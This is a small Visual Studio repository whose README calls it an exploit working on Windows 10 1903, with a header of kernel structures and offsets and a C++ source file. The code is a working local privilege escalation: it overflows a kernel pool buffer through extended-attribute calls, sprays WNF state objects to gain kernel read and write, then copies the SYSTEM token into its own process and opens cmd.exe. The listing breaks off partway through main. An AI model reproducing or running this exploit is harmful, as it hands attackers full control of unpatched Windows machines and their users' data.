├── README.md ├── ConsoleApplication11.vcxproj.user ├── ConsoleApplication11.vcxproj.filters ├── ConsoleApplication11.vcxproj ├── nt.h └── ConsoleApplication11.cpp /README.md: -------------------------------------------------------------------------------- 1 | Working in WIN10 1903 Not a perfect exp 2 | 3 | 4 | 5 | https://bbs.pediy.com/thread-271140.htm 6 | -------------------------------------------------------------------------------- /ConsoleApplication11.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /ConsoleApplication11.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 23 | 24 | 头文件 25 | 26 | 27 | -------------------------------------------------------------------------------- /ConsoleApplication11.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {266342CC-3306-407C-B320-FB3F5DC212F4} 24 | Win32Proj 25 | ConsoleApplication11 26 | 10.0.19041.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v141 33 | MultiByte 34 | false 35 | 36 | 37 | Application 38 | false 39 | v141 40 | true 41 | MultiByte 42 | false 43 | 44 | 45 | Application 46 | true 47 | v141 48 | MultiByte 49 | false 50 | 51 | 52 | Application 53 | false 54 | v141 55 | true 56 | MultiByte 57 | false 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | true 79 | 80 | 81 | true 82 | 83 | 84 | false 85 | 86 | 87 | false 88 | 89 | 90 | 91 | 92 | 93 | Level3 94 | Disabled 95 | true 96 | _CRT_SECURE_NO_WARNINGS 97 | true 98 | 99 | 100 | Console 101 | true 102 | 103 | 104 | 105 | 106 | 107 | 108 | Level3 109 | Disabled 110 | true 111 | _CRT_SECURE_NO_WARNINGS 112 | true 113 | 114 | 115 | Console 116 | true 117 | 118 | 119 | 120 | 121 | 122 | 123 | Level3 124 | MaxSpeed 125 | true 126 | true 127 | true 128 | _CRT_SECURE_NO_WARNINGS 129 | true 130 | 131 | 132 | Console 133 | true 134 | true 135 | true 136 | 137 | 138 | 139 | 140 | 141 | 142 | Level3 143 | MaxSpeed 144 | true 145 | true 146 | true 147 | _CRT_SECURE_NO_WARNINGS 148 | true 149 | 150 | 151 | Console 152 | true 153 | true 154 | true 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | -------------------------------------------------------------------------------- /nt.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | typedef struct _IO_STATUS_BLOCK { 3 | union { 4 | NTSTATUS Status; 5 | PVOID Pointer; 6 | }; 7 | ULONG_PTR Information; 8 | } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; 9 | 10 | 11 | typedef NTSTATUS(NTAPI*__ZwQueryEaFile)( 12 | HANDLE FileHandle, 13 | PIO_STATUS_BLOCK IoStatusBlock, 14 | PVOID Buffer, 15 | ULONG Length, 16 | BOOLEAN ReturnSingleEntry, 17 | PVOID EaList, 18 | ULONG EaListLength, 19 | PULONG EaIndex, 20 | BOOLEAN RestartScan 21 | ); 22 | 23 | typedef NTSTATUS(NTAPI*__ZwSetEaFile)( 24 | HANDLE FileHandle, 25 | PIO_STATUS_BLOCK IoStatusBlock, 26 | PVOID Buffer, 27 | ULONG Length 28 | ); 29 | 30 | typedef struct _FILE_FULL_EA_INFORMATION { 31 | ULONG NextEntryOffset; 32 | UCHAR Flags; 33 | UCHAR EaNameLength; 34 | USHORT EaValueLength; 35 | CHAR EaName[1]; 36 | } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; 37 | 38 | 39 | 40 | typedef struct _FILE_GET_EA_INFORMATION { 41 | ULONG NextEntryOffset; 42 | UCHAR EaNameLength; 43 | CHAR EaName[1]; 44 | } FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION; 45 | 46 | 47 | typedef struct _WNF_STATE_NAME { 48 | ULONG Data[2]; 49 | } WNF_STATE_NAME, *PWNF_STATE_NAME; 50 | 51 | typedef enum _WNF_STATE_NAME_LIFETIME 52 | { 53 | WnfWellKnownStateName, 54 | WnfPermanentStateName, 55 | WnfPersistentStateName, 56 | WnfTemporaryStateName 57 | } WNF_STATE_NAME_LIFETIME; 58 | 59 | 60 | typedef enum _WNF_DATA_SCOPE 61 | { 62 | WnfDataScopeSystem, 63 | WnfDataScopeSession, 64 | WnfDataScopeUser, 65 | WnfDataScopeProcess, 66 | WnfDataScopeMachine 67 | } WNF_DATA_SCOPE; 68 | 69 | 70 | typedef struct _WNF_TYPE_ID 71 | { 72 | GUID TypeId; 73 | } WNF_TYPE_ID, *PWNF_TYPE_ID; 74 | 75 | 76 | typedef const WNF_TYPE_ID *PCWNF_TYPE_ID; 77 | 78 | typedef NTSTATUS (NTAPI * __NtCreateWnfStateName)( 79 | _Out_ PWNF_STATE_NAME StateName, 80 | _In_ WNF_STATE_NAME_LIFETIME NameLifetime, 81 | _In_ WNF_DATA_SCOPE DataScope, 82 | _In_ BOOLEAN PersistData, 83 | _In_opt_ PCWNF_TYPE_ID TypeId, 84 | _In_ ULONG MaximumStateSize, 85 | _In_ PSECURITY_DESCRIPTOR SecurityDescriptor 86 | ); 87 | 88 | 89 | 90 | typedef ULONG WNF_CHANGE_STAMP, *PWNF_CHANGE_STAMP; 91 | 92 | typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)( 93 | _In_ PWNF_STATE_NAME StateName, 94 | _In_reads_bytes_opt_(Length) const VOID * Buffer, 95 | _In_opt_ ULONG Length, 96 | _In_opt_ PCWNF_TYPE_ID TypeId, 97 | _In_opt_ const PVOID ExplicitScope, 98 | _In_ WNF_CHANGE_STAMP MatchingChangeStamp, 99 | _In_ ULONG CheckStamp); 100 | 101 | 102 | 103 | typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)( 104 | _In_ PWNF_STATE_NAME StateName, 105 | _In_opt_ PWNF_TYPE_ID TypeId, 106 | _In_opt_ const VOID * ExplicitScope, 107 | _Out_ PWNF_CHANGE_STAMP ChangeStamp, 108 | _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer, 109 | _Inout_ PULONG BufferSize); 110 | 111 | 112 | 113 | typedef struct _WNF_STATE_NAME_REGISTRATION 114 | { 115 | PVOID64 MaxStateSize; 116 | PVOID64 TypeId; 117 | PVOID64 SecurityDescriptor; 118 | }WNF_STATE_NAME_REGISTRATION, *PWNF_STATE_NAME_REGISTRATION; 119 | 120 | 121 | 122 | typedef NTSTATUS 123 | (NTAPI * __NtDeleteWnfStateData) 124 | ( 125 | _In_ PWNF_STATE_NAME StateName, 126 | _In_opt_ const VOID *ExplicitScope 127 | ); 128 | 129 | 130 | typedef NTSTATUS (NTAPI * __NtDeleteWnfStateName)(_In_ PWNF_STATE_NAME StateName); 131 | 132 | extern __ZwSetEaFile NtSetEaFile; 133 | extern __ZwQueryEaFile NtQueryEaFile; 134 | extern __NtCreateWnfStateName NtCreateWnfStateName; 135 | extern __NtUpdateWnfStateData NtUpdateWnfStateData; 136 | extern __NtQueryWnfStateData NtQueryWnfStateData; 137 | extern __NtDeleteWnfStateData NtDeleteWnfStateData; 138 | extern __NtDeleteWnfStateName NtDeleteWnfStateName; 139 | 140 | #define SPRAY_COUNT 10000 141 | #define PAYLOAD_SIZE 1000 142 | 143 | 144 | 145 | 146 | 147 | #define STATE_NAME_MASK 0x41C64E6DA3BC0074 148 | #define TIGGER_EA_NAME ".PA" 149 | #define OVER_EA_NAME ".PBB" 150 | 151 | #define TIGGER_EA_NAME_LENGTH (UCHAR)(strlen(TIGGER_EA_NAME)) 152 | #define OVER_EA_NAME_LENGTH (UCHAR)(strlen(OVER_EA_NAME)) 153 | 154 | 155 | #define KERNAL_ALLOC_SIZE 0xae 156 | 157 | #define FRIST_RAWSIZE ((KERNAL_ALLOC_SIZE) - (1)) 158 | #define TIGGER_EA_VALUE_LENGTH ((FRIST_RAWSIZE) - (TIGGER_EA_NAME_LENGTH) -(9)) 159 | 160 | // #define OVER_EA_VALUE_LENGTH (0x53 + 0x10) 161 | 162 | #define OVER_EA_VALUE_LENGTH (0xf) 163 | 164 | //#define OVER_STATENAME (0x517131) 165 | 166 | #define OVER_STATEDATA_LENGTH 0x1000 167 | 168 | extern UINT64 OVER_STATENAME ; 169 | // extern UINT64 TIGGER_STATENAME; 170 | #define TIGGER_STATENAME ((OVER_STATENAME) ^ (0x41C64E6DA3BC0074)) 171 | #define PROCESS_LIST_ENTRY_OFFSET 0x248 172 | //NumberOfPrivatePages 173 | #define IMAGE_FILE_NAME_OFFSET 0x398 174 | 175 | struct _WNF_NODE_HEADER 176 | { 177 | USHORT NodeTypeCode; //0x0 178 | USHORT NodeByteSize; //0x2 179 | }; 180 | 181 | struct _EX_RUNDOWN_REF 182 | { 183 | union 184 | { 185 | ULONGLONG Count; //0x0 186 | VOID* Ptr; //0x0 187 | }; 188 | }; 189 | 190 | struct _RTL_BALANCED_NODE 191 | { 192 | union 193 | { 194 | struct _RTL_BALANCED_NODE* Children[2]; //0x0 195 | struct 196 | { 197 | struct _RTL_BALANCED_NODE* Left; //0x0 198 | struct _RTL_BALANCED_NODE* Right; //0x8 199 | }; 200 | }; 201 | union 202 | { 203 | struct 204 | { 205 | UCHAR Red : 1; //0x10 206 | UCHAR Balance : 2; //0x10 207 | }; 208 | ULONGLONG ParentValue; //0x10 209 | }; 210 | }; 211 | 212 | struct _WNF_STATE_NAME_STRUCT 213 | { 214 | ULONGLONG Version : 4; //0x0 215 | ULONGLONG NameLifetime : 2; //0x0 216 | ULONGLONG DataScope : 4; //0x0 217 | ULONGLONG PermanentData : 1; //0x0 218 | ULONGLONG Sequence : 53; //0x0 219 | }; 220 | 221 | struct _EX_PUSH_LOCK 222 | { 223 | union 224 | { 225 | struct 226 | { 227 | ULONGLONG Locked : 1; //0x0 228 | ULONGLONG Waiting : 1; //0x0 229 | ULONGLONG Waking : 1; //0x0 230 | ULONGLONG MultipleShared : 1; //0x0 231 | ULONGLONG Shared : 60; //0x0 232 | }; 233 | ULONGLONG Value; //0x0 234 | VOID* Ptr; //0x0 235 | }; 236 | }; 237 | 238 | struct _WNF_LOCK 239 | { 240 | struct _EX_PUSH_LOCK PushLock; //0x0 241 | }; 242 | 243 | struct _RTL_AVL_TREE 244 | { 245 | struct _RTL_BALANCED_NODE* Root; //0x0 246 | }; 247 | 248 | struct _WNF_SCOPE_INSTANCE 249 | { 250 | struct _WNF_NODE_HEADER Header; //0x0 251 | struct _EX_RUNDOWN_REF RunRef; //0x8 252 | enum _WNF_DATA_SCOPE DataScope; //0x10 253 | ULONG InstanceIdSize; //0x14 254 | VOID* InstanceIdData; //0x18 255 | struct _LIST_ENTRY ResolverListEntry; //0x20 256 | struct _WNF_LOCK NameSetLock; //0x30 257 | struct _RTL_AVL_TREE NameSet; //0x38 258 | VOID* PermanentDataStore; //0x40 259 | VOID* VolatilePermanentDataStore; //0x48 260 | }; 261 | 262 | 263 | 264 | 265 | struct _WNF_STATE_DATA 266 | { 267 | struct _WNF_NODE_HEADER Header; //0x0 268 | ULONG AllocatedSize; //0x4 269 | ULONG DataSize; //0x8 270 | ULONG ChangeStamp; //0xc 271 | }; 272 | 273 | 274 | 275 | typedef struct _WNF_NAME_INSTANCE 276 | { 277 | _WNF_NODE_HEADER Header; //0x0 278 | _EX_RUNDOWN_REF RunRef; //0x8 279 | _RTL_BALANCED_NODE TreeLinks; //0x10 280 | _WNF_STATE_NAME_STRUCT StateName; //0x28 281 | _WNF_SCOPE_INSTANCE* ScopeInstance; //0x30 282 | _WNF_STATE_NAME_REGISTRATION StateNameInfo; //0x38 283 | _WNF_LOCK StateDataLock; //0x50 284 | _WNF_STATE_DATA* StateData; //0x58 285 | ULONG CurrentChangeStamp; //0x60 286 | VOID* PermanentDataStore; //0x68 287 | struct _WNF_LOCK StateSubscriptionListLock; //0x70 288 | struct _LIST_ENTRY StateSubscriptionListHead; //0x78 289 | struct _LIST_ENTRY TemporaryNameListEntry; //0x88 290 | PVOID CreatorProcess; //0x98 291 | LONG DataSubscribersCount; //0xa0 292 | LONG CurrentDeliveryCount; //0xa4 293 | }WNF_NAME_INSTANCE, *PWNF_NAME_INSTANCE; 294 | 295 | 296 | 297 | #define PROCESS_ID_OFFSET 0x1b8 298 | 299 | #define TOKEN_OFFSET 0x320 300 | 301 | #define PROCESS_LIST_OFFSET 0x2f0 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | -------------------------------------------------------------------------------- /ConsoleApplication11.cpp: -------------------------------------------------------------------------------- 1 | // ConsoleApplication11.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 2 | // 3 | 4 | #include 5 | #include 6 | #include "nt.h" 7 | #include 8 | __ZwQueryEaFile NtQueryEaFile = NULL; 9 | __ZwSetEaFile NtSetEaFile = NULL; 10 | __NtCreateWnfStateName NtCreateWnfStateName = NULL; 11 | __NtUpdateWnfStateData NtUpdateWnfStateData = NULL; 12 | __NtQueryWnfStateData NtQueryWnfStateData = NULL; 13 | __NtDeleteWnfStateData NtDeleteWnfStateData = NULL; 14 | __NtDeleteWnfStateName NtDeleteWnfStateName = NULL; 15 | WNF_STATE_NAME StateNames[SPRAY_COUNT] = { 0 }; 16 | 17 | UINT64 OVER_STATENAME = 0; 18 | 19 | int initNtDll() 20 | { 21 | HMODULE hNtDll = NULL; 22 | hNtDll = LoadLibrary("ntdll.dll"); 23 | if (hNtDll == NULL) 24 | { 25 | printf("load ntdll failed!\r\n"); 26 | return -1; 27 | } 28 | NtQueryEaFile = (__ZwQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile"); 29 | NtSetEaFile = (__ZwSetEaFile)GetProcAddress(hNtDll, "ZwSetEaFile"); 30 | NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName"); 31 | NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData"); 32 | NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData"); 33 | NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData"); 34 | NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName"); 35 | if (NtQueryEaFile == NULL || 36 | NtSetEaFile == NULL || 37 | NtCreateWnfStateName == NULL || 38 | NtUpdateWnfStateData == NULL || 39 | NtQueryWnfStateData == NULL || 40 | NtDeleteWnfStateData == NULL || 41 | NtDeleteWnfStateName == NULL) 42 | { 43 | printf("not found functions\r\n"); 44 | return -1; 45 | } 46 | 47 | return 0; 48 | } 49 | 50 | int tiggerLeak() 51 | { 52 | PFILE_GET_EA_INFORMATION EaList = NULL; 53 | PFILE_GET_EA_INFORMATION EaListCP = NULL; 54 | PVOID eaData = NULL; 55 | DWORD dwNumberOfBytesWritten = 0; 56 | UCHAR payLoad[PAYLOAD_SIZE] = { 0 }; 57 | PFILE_FULL_EA_INFORMATION curEa = NULL; 58 | HANDLE hFile = INVALID_HANDLE_VALUE; 59 | IO_STATUS_BLOCK eaStatus = { 0 }; 60 | NTSTATUS rc; 61 | PWNF_STATE_NAME_REGISTRATION PStateNameInfo = NULL; 62 | PISECURITY_DESCRIPTOR pSecurity = NULL; 63 | PUCHAR pd = NULL; 64 | PUCHAR StateDataLock = NULL; 65 | PUINT64 StateData = NULL; 66 | PUINT64 StateName = NULL; 67 | PUINT64 parent = NULL; 68 | PUINT AllocatedSize = NULL; 69 | PUINT DataSize = NULL; 70 | int state = -1; 71 | 72 | 73 | hFile = CreateFileA("payload", 74 | GENERIC_READ | GENERIC_WRITE, 75 | FILE_SHARE_READ | FILE_SHARE_WRITE, 76 | NULL, 77 | CREATE_ALWAYS, 78 | FILE_ATTRIBUTE_NORMAL, 79 | NULL); 80 | 81 | if (hFile == INVALID_HANDLE_VALUE) 82 | { 83 | printf("create the file failed\r\n"); 84 | goto ERROR_HANDLE; 85 | } 86 | 87 | 88 | WriteFile(hFile, "This files has an optional .COMMENTS EA\n", 89 | strlen("This files has an optional .COMMENTS EA\n"), 90 | &dwNumberOfBytesWritten, NULL); 91 | 92 | 93 | 94 | 95 | curEa = (PFILE_FULL_EA_INFORMATION)payLoad; 96 | 97 | 98 | curEa->Flags = 0; 99 | 100 | curEa->EaNameLength = TIGGER_EA_NAME_LENGTH; 101 | curEa->EaValueLength = TIGGER_EA_VALUE_LENGTH; 102 | //align 4。 103 | curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3); 104 | memcpy(curEa->EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH); 105 | RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, TIGGER_EA_VALUE_LENGTH, 'A'); 106 | 107 | 108 | curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset); 109 | curEa->NextEntryOffset = 0; 110 | curEa->Flags = 0; 111 | 112 | curEa->EaNameLength = OVER_EA_NAME_LENGTH; 113 | curEa->EaValueLength = OVER_EA_VALUE_LENGTH; 114 | memcpy(curEa->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH); 115 | RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, OVER_EA_VALUE_LENGTH, 0); 116 | pd = (PUCHAR)(curEa); 117 | 118 | AllocatedSize = (PUINT)(pd + 0x4 + 0x10); 119 | DataSize = (PUINT)(pd + 0x8 + 0x10); 120 | *AllocatedSize = OVER_STATEDATA_LENGTH; 121 | *DataSize = OVER_STATEDATA_LENGTH; 122 | 123 | rc = NtSetEaFile(hFile, &eaStatus, payLoad, sizeof(payLoad)); 124 | 125 | 126 | 127 | 128 | if (rc != 0) 129 | { 130 | printf("NtSetEaFile failed error code is %x\r\n", rc); 131 | goto ERROR_HANDLE; 132 | 133 | } 134 | eaData = malloc(sizeof(payLoad)); 135 | if (eaData == NULL) 136 | { 137 | goto ERROR_HANDLE; 138 | } 139 | 140 | 141 | memset(eaData, 0, sizeof(payLoad)); 142 | 143 | EaList = (PFILE_GET_EA_INFORMATION)malloc(100); 144 | if (EaList == NULL) 145 | { 146 | goto ERROR_HANDLE; 147 | } 148 | EaListCP = EaList; 149 | memset(EaList, 0, 100); 150 | 151 | 152 | 153 | memcpy(EaList->EaName, ".PA", strlen(".PA")); 154 | EaList->EaNameLength = (UCHAR)strlen(".PA"); 155 | EaList->NextEntryOffset = 12; // align 4 156 | 157 | 158 | EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12); 159 | memcpy(EaList->EaName, ".PBB", strlen(".PBB")); 160 | EaList->EaNameLength = (UCHAR)strlen(".PBB"); 161 | EaList->NextEntryOffset = 0; 162 | 163 | rc = NtQueryEaFile(hFile, &eaStatus, eaData, KERNAL_ALLOC_SIZE, FALSE, EaListCP, 100, 0, TRUE); 164 | 165 | 166 | state = 0; 167 | 168 | 169 | ERROR_HANDLE: 170 | if (hFile != INVALID_HANDLE_VALUE) 171 | { 172 | CloseHandle(hFile); 173 | hFile = INVALID_HANDLE_VALUE; 174 | } 175 | if (EaList != NULL) 176 | { 177 | free(EaListCP); 178 | EaList = NULL; 179 | } 180 | 181 | if (eaData != NULL) 182 | { 183 | free(eaData); 184 | eaData = NULL; 185 | } 186 | 187 | if (pSecurity != NULL) 188 | { 189 | free(pSecurity); 190 | pSecurity = NULL; 191 | } 192 | return state; 193 | } 194 | 195 | int HeapSpray() 196 | { 197 | NTSTATUS state = 0; 198 | 199 | PSECURITY_DESCRIPTOR pSD = nullptr; 200 | BYTE upData[0xa0] = { 0 }; 201 | RtlFillMemory(upData, sizeof(upData), 'C'); 202 | if (!ConvertStringSecurityDescriptorToSecurityDescriptor("", 203 | SDDL_REVISION_1, &pSD, nullptr)) 204 | { 205 | return -1; 206 | } 207 | 208 | for (int i = 0; i < SPRAY_COUNT; i++) 209 | { 210 | state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD); 211 | if (state != 0) 212 | { 213 | return -1; 214 | } 215 | 216 | } 217 | 218 | 219 | for (int i = 1; i < SPRAY_COUNT; i+=2) 220 | { 221 | 222 | state = NtDeleteWnfStateName(&StateNames[i]); 223 | if (state != 0) 224 | { 225 | return -1; 226 | } 227 | StateNames[i].Data[0] = 0; 228 | StateNames[i].Data[1] = 0; 229 | 230 | state = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames[i - 1], &upData, 0xa0, NULL, NULL, NULL, 0); 231 | if (state != 0) 232 | { 233 | return -1; 234 | } 235 | } 236 | 237 | 238 | for (int i = 0; i < SPRAY_COUNT; i += 4) 239 | { 240 | NtDeleteWnfStateData(&StateNames[i], NULL); 241 | state = NtDeleteWnfStateName(&StateNames[i]); 242 | if (state != 0) 243 | { 244 | return -1; 245 | } 246 | StateNames[i].Data[0] = 0; 247 | StateNames[i].Data[1] = 0; 248 | 249 | } 250 | 251 | 252 | if (pSD) 253 | { 254 | LocalFree(pSD); 255 | } 256 | 257 | 258 | return 0; 259 | } 260 | 261 | 262 | 263 | 264 | 265 | int tigger(UINT64 StateName) 266 | { 267 | NTSTATUS state = 0; 268 | UINT64 name = StateName; 269 | BYTE upData[0x74] = { 0 }; 270 | RtlFillMemory(upData, sizeof(upData), 'A'); 271 | name ^= STATE_NAME_MASK; 272 | state = NtUpdateWnfStateData((PWNF_STATE_NAME)&name, &upData, 0x70, NULL, NULL, NULL, 0); 273 | return state; 274 | } 275 | 276 | 277 | 278 | int OverStateData(PWNF_STATE_NAME StateName, PUCHAR Buff) 279 | { 280 | 281 | 282 | NTSTATUS state = NtUpdateWnfStateData(StateName, (const void*)Buff, OVER_STATEDATA_LENGTH, NULL, NULL, NULL, 0); 283 | 284 | return state; 285 | } 286 | 287 | 288 | 289 | NTSTATUS GetOverStateData(UINT64 StateName, PUCHAR Buff, PULONG size) 290 | { 291 | WNF_CHANGE_STAMP Stamp; 292 | ULONG BufferSize = *size; 293 | UINT64 name = StateName; 294 | name ^= STATE_NAME_MASK; 295 | NTSTATUS state = NtQueryWnfStateData((PWNF_STATE_NAME)&name, NULL, NULL, &Stamp, Buff, &BufferSize); 296 | 297 | if (state != 0) 298 | { 299 | printf(__FUNCTION__ "failed size: %d state: %x\r\n", BufferSize, state); 300 | return state; 301 | } 302 | 303 | *size = BufferSize; 304 | return 0; 305 | } 306 | 307 | 308 | UINT64 GetProcessEprocess(UINT64 StateName, PUINT64 pid, UINT pidOffset=0x120, UINT eprocessOffset=0x128) 309 | { 310 | 311 | UCHAR Buff[0x3000] = { 0 }; 312 | ULONG BufferSize = 0x3000; 313 | int state = GetOverStateData(StateName, Buff, &BufferSize); 314 | 315 | if (state != 0) 316 | { 317 | printf(__FUNCTION__"filed %x\r\n", state); 318 | return 0; 319 | } 320 | 321 | 322 | 323 | if (BufferSize == 0) //idle 324 | { 325 | *pid = 0; 326 | return 0; 327 | } 328 | *pid = *((PUINT64)(Buff + pidOffset)); 329 | return *((PUINT64)(Buff + eprocessOffset)); 330 | } 331 | 332 | 333 | int GetProcessName(UINT64 StateName, PCHAR name) 334 | { 335 | UCHAR Buff[0x5000] = { 0 }; 336 | ULONG BufferSize = 0x5000; 337 | int state = GetOverStateData(StateName, Buff, &BufferSize); 338 | if (state != 0) 339 | { 340 | printf(__FUNCTION__"filed %x\r\n", state); 341 | return -1; 342 | } 343 | memcpy(name, Buff, 0x100 - 1); 344 | return 0; 345 | } 346 | 347 | UINT64 GetProcessToken(UINT64 StateName) 348 | { 349 | UCHAR Buff[0x5000] = { 0 }; 350 | ULONG BufferSize = 0x5000; 351 | int state = GetOverStateData(StateName, Buff, &BufferSize); 352 | if (state != 0) 353 | { 354 | printf(__FUNCTION__" filed %x\r\n", state); 355 | return -1; 356 | } 357 | 358 | return *(PUINT64)(Buff + 0x30); 359 | } 360 | 361 | 362 | 363 | NTSTATUS EnumProcessEprocess(PWNF_STATE_NAME StateName, PUCHAR Buff) 364 | { 365 | 366 | BOOL Isexist = FALSE; 367 | for (int i = 0; i < SPRAY_COUNT; ++i) 368 | { 369 | if (*(PUINT64)StateName == *((PUINT64)&StateNames[i])) 370 | { 371 | Isexist = TRUE; 372 | } 373 | } 374 | if (Isexist == FALSE) 375 | { 376 | printf("the wnf obj is deleted!!!\r\n"); 377 | return -1; 378 | } 379 | 380 | PWNF_NAME_INSTANCE NameIns = (PWNF_NAME_INSTANCE)(Buff + 0xa0 + 0x10); 381 | UINT64 eProcess = (UINT64)NameIns->CreatorProcess; 382 | if (eProcess == 0) 383 | { 384 | return -1; 385 | } 386 | NTSTATUS state = -1; 387 | 388 | 389 | UINT64 entry = (UINT64)(eProcess + PROCESS_ID_OFFSET); 390 | UINT64 systemEProcess = 0; 391 | for (;;) 392 | { 393 | NameIns->StateData = (_WNF_STATE_DATA*)(entry); 394 | state = OverStateData(StateName, Buff); 395 | if (state != 0) 396 | return -1; 397 | 398 | UINT64 pid = 0; 399 | UINT64 next = GetProcessEprocess(*(PULONGLONG)&(NameIns->StateName), &pid); 400 | 401 | 402 | 403 | 404 | // handle idle process 405 | if (pid == 0) 406 | { 407 | entry = entry + 0x269 - PROCESS_ID_OFFSET; 408 | 409 | NameIns->StateData = (_WNF_STATE_DATA*)(entry); 410 | state = OverStateData(StateName, Buff); 411 | if (state != 0) 412 | return -1; 413 | next = GetProcessEprocess(*(PULONGLONG)&(NameIns->StateName), &pid, 0x6f, 0x77); 414 | printf("EPROCESS: %llx PID: %lld\r\n", entry - 0x269, pid); 415 | } 416 | 417 | else 418 | { 419 | printf("EPROCESS: %llx PID: %lld\r\n", entry - PROCESS_ID_OFFSET, pid); 420 | } 421 | 422 | 423 | 424 | if (pid == 4) 425 | { 426 | printf("found system process\r\n"); 427 | systemEProcess = entry - PROCESS_ID_OFFSET; 428 | break; 429 | } 430 | 431 | 432 | if (next == 0) 433 | break; 434 | 435 | entry = next - PROCESS_LIST_OFFSET + PROCESS_ID_OFFSET; 436 | } 437 | 438 | if (systemEProcess != 0) 439 | { 440 | NameIns->StateData = (_WNF_STATE_DATA*)(systemEProcess + TOKEN_OFFSET); 441 | state = OverStateData(StateName, Buff); 442 | if (state != 0) 443 | return -1; 444 | UINT64 token = GetProcessToken(*(PULONGLONG)&(NameIns->StateName)); 445 | 446 | 447 | UCHAR tokenBuff[0x5000] = { 0 }; 448 | ULONG tokenBufferSize = 0x5000; 449 | 450 | NameIns->StateData = (_WNF_STATE_DATA*)(eProcess + TOKEN_OFFSET); 451 | state = OverStateData(StateName, Buff); 452 | if (state != 0) 453 | return -1; 454 | 455 | int state = GetOverStateData(*(PULONGLONG)&(NameIns->StateName), tokenBuff, &tokenBufferSize); 456 | if (state != 0) 457 | { 458 | printf(" filed %x %d\r\n", state, __LINE__); 459 | return -1; 460 | } 461 | 462 | 463 | *(PUINT64)(tokenBuff + 0x30) = token; 464 | 465 | NameIns->StateData = (_WNF_STATE_DATA*)(eProcess + TOKEN_OFFSET + 4); 466 | state = OverStateData(StateName, Buff); 467 | if (state != 0) 468 | { 469 | printf(" filed %x %d\r\n", state , __LINE__); 470 | return -1; 471 | } 472 | 473 | 474 | UINT64 name = *(PULONGLONG)&(NameIns->StateName); 475 | name ^= STATE_NAME_MASK; 476 | 477 | 478 | state = NtUpdateWnfStateData((PWNF_STATE_NAME)(&name), tokenBuff + 4, 0x100, NULL, NULL, NULL, 0); 479 | 480 | if (state != 0) 481 | { 482 | printf("re token failed state: %x\r\n", state); 483 | return -1; 484 | } 485 | 486 | STARTUPINFO StartupInfo = { 0 }; 487 | PROCESS_INFORMATION ProcessInformation = { 0 }; 488 | 489 | if (!CreateProcess("C:\\Windows\\System32\\cmd.exe", 490 | NULL, 491 | NULL, 492 | NULL, 493 | FALSE, 494 | CREATE_NEW_CONSOLE, 495 | NULL, 496 | NULL, 497 | &StartupInfo, 498 | &ProcessInformation)) 499 | { 500 | printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError()); 501 | return -1; 502 | } 503 | 504 | WaitForSingleObject(ProcessInformation.hProcess, INFINITE); 505 | } 506 | 507 | return 0; 508 | } 509 | 510 | 511 | int main() 512 | { 513 | BOOL IsSuccess = FALSE; 514 | UINT Count = 0; 515 | PVOID pSelfEprocess = NULL; 516 | if (initNtDll() != 0) 517 | { 518 | printf("initNtDll filed!\r\n"); 519 | 520 | goto PAUSE; 521 | } 522 | 523 | 524 | if (HeapSpray() != 0) 525 | { 526 | printf("HeapSpray filed!\r\n"); 527 | goto PAUSE; 528 | } 529 | 530 | 531 | RE_TRY: 532 | if (Count++ >= 1000) 533 | { 534 | printf("exp filed!\r\n"); 535 | goto PAUSE; 536 | } 537 | if (tiggerLeak() != 0) 538 | { 539 | printf("tigger leak filed!\r\n"); 540 | goto PAUSE; 